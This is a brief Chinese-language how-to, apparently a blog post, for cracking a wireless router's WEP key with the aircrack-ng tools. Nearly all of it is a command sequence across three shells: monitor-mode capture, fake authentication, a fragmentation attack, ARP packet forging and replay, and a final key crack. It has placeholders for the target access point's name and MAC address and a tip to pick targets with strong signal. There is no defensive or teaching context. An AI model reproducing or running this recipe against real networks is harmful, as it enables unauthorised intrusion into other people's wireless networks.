如何獲得破解網(wǎng)卡的基本信息，參考這篇文章
http://www.shnenglu.com/alantop/archive/2008/08/24/59825.html1. 開一個shell，運行如下命令
airmon-ng start rausb0 6
6是路由器所在頻道
airodump-ng --ivs -w name -c 6 rausb0
2. 開第二個
shell
aireplay-ng -1 0 -e 【ap的essid】 -a 【ap的mac】 -h 【自己網(wǎng)卡的mac 】rausb0
aireplay-ng -5 –b 【ap的mac】-h 【自己網(wǎng)卡的mac】 rausb0
packetforge-ng -0 -a 【ap的mac 】-h 【自己網(wǎng)卡的mac】 -k 255.255.255.255 -l 255.255.255.255 -y fragment -××××-××××.xor -w mrarp
aireplay-ng -2 –r mrarp -x 128 rausb0
128可以設置成一個比較大的值，如果在發(fā)數(shù)據(jù)包的時候沒有卡死的話。
3.開第三個shell
aircrack-ng -n 64 -b 【ap的mac】 name-01.ivs
在破解的過程中，請盡量找信號比較好的ap破解。